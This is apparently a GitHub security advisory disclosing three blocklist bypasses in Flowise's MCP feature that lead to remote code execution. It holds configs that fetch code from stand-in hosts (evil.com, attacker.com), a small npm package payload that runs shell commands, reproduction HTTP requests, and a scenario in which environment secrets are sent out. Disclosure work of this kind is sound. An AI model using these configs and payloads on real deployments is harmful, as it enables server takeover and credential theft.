GHSA-m99r-2hxc-cp3q: Flowise MCP: 3-path blocklist bypass enables server RCE

## Summary There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods ## Details ### The Docker build subcommand not being on the blocklist leads to remote code execution The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it → Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the docker command Vulnerable function - validateCommandFlags: ``` file: packages/components/nodes/tools/MCP/core.ts:260-310 const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = { docker: [ 'run', 'exec', '-v', '--volume', '--privileged', '--cap-add', '--security-opt', '--network', '--pid', '--ipc' // 'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist ], npx: ['-c', '--call', '--shell-auto-fallback', '-y'], npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'], // ... } export function validateCommandFlags(command: string, args: string[]): ValidationResult { const blacklist = COMMAND_FLAG_BLACKLIST[command] || [] for (const arg of args) { if (blacklist.includes(arg)) { return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` } } } return { valid: true } } ``` Reproduction process: Add MCP config via UI or API interface, for example: <img width="1280" height="414" alt="2f0b6dfad5458616781921e1c28339d0" src="https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599" /> Then execute: ``` POST /api/v1/prediction/{chatflows_id} HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Authorization: Bearer apikey Content-Length: 17 {"question": "1"} ``` After execution, the command can be triggered to execute docker build http://evil.com <img width="1280" height="319" alt="f98e1d91428be6077ac6cf0472285f17" src="https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0" /> If a privileged container is deployed, then it can fully control the Flowise host machine ### npx --yes long parameter alias bypassing blocklist leads to remote code execution The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]} → validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes → npx --yes malicious-package automatically agrees to install and execute any npm package → Leads to remote code execution (RCE) on the server Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the npx command npx blocklist: ``` file: packages/components/nodes/tools/MCP/core.ts:270-280 npx: ['-c', '--call', '--shell-auto-fallback', '-y'], // Only the short parameter -y is present, without the long parameter alias --yes ``` Reproduction process: Add MCP config via UI or API interface, for example: <img width="1910" height="690" alt="85ea14ea224df9ed501827dfa47afb09" src="https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6" /> ``` { "command": "npx", "args":["--yes", "http://evil.com/FileName.tar"] } ``` Contents of the tar file: ``` // index.js #!/usr/bin/env node const http = require('http'); const { execSync } = require('child_process'); const result = execSync('id && hostname').toString().trim(); console.error('[MCP-RCE-002] npx --yes bypass: ' + result); // package.json { "name": "attacker-mcp-pkg", "version": "1.0.0", "bin": { "attacker-mcp-pkg": "./index.js" }, "scripts": { "postinstall": "" } } ``` Then execute: ``` POST /api/v1/prediction/{chatflows_id} HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Authorization: Bearer apikey Content-Length: 17 {"question": "1"} ``` can trigger the vulnerability, execute the attacker's commands, and achieve RCE: <img width="3026" height="256" alt="4c466067deb4606a38e4b73806661328" src="https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9" /> ### node command bypassing local file restrictions leads to remote code execution When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]} → Bypass the security restrictions of validateArgsForLocalFileAccess → Node process loads local files and executes arbitrary code → RCE Precondition: Have a Flowise account Analysis of Vulnerable Code: ``` // packages/components/nodes/tools/MCP/core.ts:177-220 export const validateArgsForLocalFileAccess = (args: string[]): void => { const dangerousPatterns = [ // Absolute paths /^\/[^/]/, // Unix absolute paths starting with / /^[a-zA-Z]:\\/, // Windows absolute paths like C:\ // Relative paths that could escape current directory /\.\.\//, // Parent directory traversal with ../ /\.\.\\/, // Parent directory traversal with ..\ /^\.\./, // Starting with .. // Local file access patterns /^\.\//, // Current directory with ./ /^~\//, // Home directory with ~/ /^file:\/\//, // File protocol // Common file extensions that shouldn't be accessed /\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i, // File flags and options that could access local files /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i, /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i ] ``` The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^\/[^/]/" has a matching issue As the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/') <img width="1280" height="570" alt="ea354264cbb2ace6a3a6a16e00f1d298" src="https://github.com/user-attachments/assets/9ca88790-77ea-4d42-8910-09e4453f981a" /> Therefore, the limitation of this function can be bypassed by starting with // ** Reproduction process: ** Create a new chatflow as follows: <img width="1280" height="716" alt="7e884613b5897509b39467f8f3b7aae1" src="https://github.com/user-attachments/assets/478c7a89-4e77-4a5d-b063-de16cb640f92" /> After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory orgId can be obtained during login, and chatflow_id will also be returned when saving chatflow: <img width="1280" height="702" alt="48b5ab8412babba312f502be5db1dad3" src="https://github.com/user-attachments/assets/090292cf-6361-43cd-91d7-eec6e578255b" /> For example: ``` ~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js ``` Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method: <img width="1280" height="716" alt="990e1c81ed3957c5ae823e55efec15a5" src="https://github.com/user-attachments/assets/02c2a949-559a-4ee4-9675-c50a203d1e99" /> ``` POST /api/v1/export-import/import HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json x-request-from: internal Cookie: cookie Connection: keep-alive Content-Length: 479 { "ChatMessage": [ { "id": "11111111-2222-4333-8444-555555555555", "role": "userMessage", "chatflowid": "{chatflow_id}", "content": "seed for home path test", "chatType": "EXTERNAL", "chatId": "audit-home-001", "createdDate": "2026-03-04T06:40:00.000Z", "fileUploads": "[{\"type\":\"stored-file\",\"name\":\"poc.txt\",\"mime\":\"text/plain\"}]" } ] } ``` <img width="1280" height="748" alt="d7f947940f4e6b6e95a61bcc301c25c0" src="https://github.com/user-attachments/assets/482fb78c-dbc8-4a0d-a042-4c993e976f10" /> ``` POST /api/v1/export-import/chatflow-messages HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json x-request-from: internal Cookie: cookie Connection: keep-alive Content-Length: 57 {"chatflowId":"{chatflow_id}"} ``` After obtaining the absolute path, simply modify the path in args to the path of the file name: ``` { "command": "node", "args": ["//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js"] } ``` After saving, execution will trigger RCE ``` POST /api/v1/prediction/{chatflows_id} HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Authorization: Bearer apikey Content-Length: 17 {"question": "1"} ``` ## Impact This vulnerability allows attackers to execute arbitrary commands on the Flowise server .

An attacker registers a standard Flowise user account (or obtains a leaked API key from a misconfigured deployment). They open the chatflow builder and add a Custom MCP Server node configured as {"command":"docker","args":["build","https://attacker.com/"]}. The configuration passes all validation checks because docker is on the allowed command list and build is absent from the docker subcommand blocklist. The attacker saves the chatflow, then issues POST /api/v1/prediction/{chatflow_id} with a trivial payload. Flowise invokes docker build against the attacker's URL, which serves a Dockerfile containing RUN instructions that exfiltrate all environment variables — including stored LLM API keys and database credentials — to the attacker's server. In a second stage, if the container runs with elevated privileges, the attacker's Dockerfile mounts the host filesystem and installs a persistent backdoor, achieving full host compromise in under five minutes from initial access.